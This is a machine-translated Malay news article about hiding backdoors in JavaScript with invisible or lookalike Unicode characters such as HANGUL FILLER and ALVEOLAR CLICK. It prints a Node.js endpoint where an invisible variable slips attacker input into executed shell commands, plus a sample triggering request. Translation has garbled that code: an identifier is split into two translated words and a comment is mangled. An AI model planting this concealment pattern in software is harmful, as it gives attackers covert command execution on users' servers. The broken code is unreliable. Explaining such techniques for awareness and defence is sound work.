Menggunakan aksara unicode yang tidak kelihatan untuk menyembunyikan tindakan dalam kod JavaScript

Berikutan kaedah serangan Sumber Trojan, yang bergantung pada aksara Unicode untuk membalikkan susunan paparan teks dwiarah, teknik lain untuk menyuntik tindakan tersembunyi telah diterbitkan, terpakai pada kod JavaScript. Kaedah baharu bergantung pada aksara Unicode "ㅤ" (kod 0x3164, "HANGUL FILLER"), yang diklasifikasikan sebagai huruf tetapi tidak mempunyai kandungan yang boleh dilihat. Kategori Unicode, yang merangkumi aksara ini, telah dibenarkan sejak spesifikasi ECMAScript 2015 untuk digunakan dalam nama pembolehubah JavaScript, menjadikannya mungkin untuk mencipta pembolehubah halimunan atau pembolehubah baharu yang tidak dapat dibezakan daripada pembolehubah lain dalam editor kod popular seperti Notepad++ dan Kod VS.

Sebagai contoh, kod untuk platform Node.js diberikan, di mana pintu belakang disembunyikan menggunakan pembolehubah yang terdiri daripada satu aksara "ㅤ", yang membenarkan pelaksanaan kod yang ditentukan oleh penyerang: app.get('/network_health', async (req, res) => { const { tamat masa,ㅤ} = req.query; // sebenarnya {" , , , , , , , , , , 3 , 3 , 3 , 3 const checkCommands = [ 'ping -c 1 google.com', 'curl -s http://example.com/',ㅤ // selepas koma muncul aksara \u3164 ];

Pada pandangan pertama, hanya nilai tamat masa yang diluluskan melalui parameter luaran, dan tatasusunan perintah yang dilaksanakan mengandungi senarai tetap yang tidak berbahaya. Walau bagaimanapun, selepas pembolehubah tamat masa, nilai pembolehubah halimunan lain dengan kod aksara \u3164 ditetapkan, yang juga digantikan ke dalam tatasusunan perintah boleh laku. Oleh itu, dengan binaan sedemikian, penyerang boleh menghantar permintaan seperti "https://host:8080/network_health?%E3%85%A4=command" untuk mengaktifkan pintu belakang dan melaksanakan kod mereka.

Contoh lain ialah aksara "ǃ" (ALVEOLAR CLICK), yang boleh digunakan untuk mencipta rupa tanda seru. Sebagai contoh, ungkapan "if(environmentǃ=ENV_PROD){" akan sentiasa dinilai kepada true apabila dilaksanakan dalam Node.js 14, kerana ia tidak melakukan semakan perbezaan, sebaliknya memberikan nilai ENV_PROD kepada pembolehubah "environmentǃ". Aksara Unicode yang mengelirukan lain termasuk "/", "−", "+", "⩵", "❨", "⫽", "꓿", dan "∗".

Sumber: opennet.ru

Beli pengehosan yang boleh dipercayai untuk tapak dengan perlindungan DDoS, pelayan VPS VDS 🔥 Beli pengehosan laman web yang boleh dipercayai dengan perlindungan DDoS, pelayan VPS VDS | ProHoster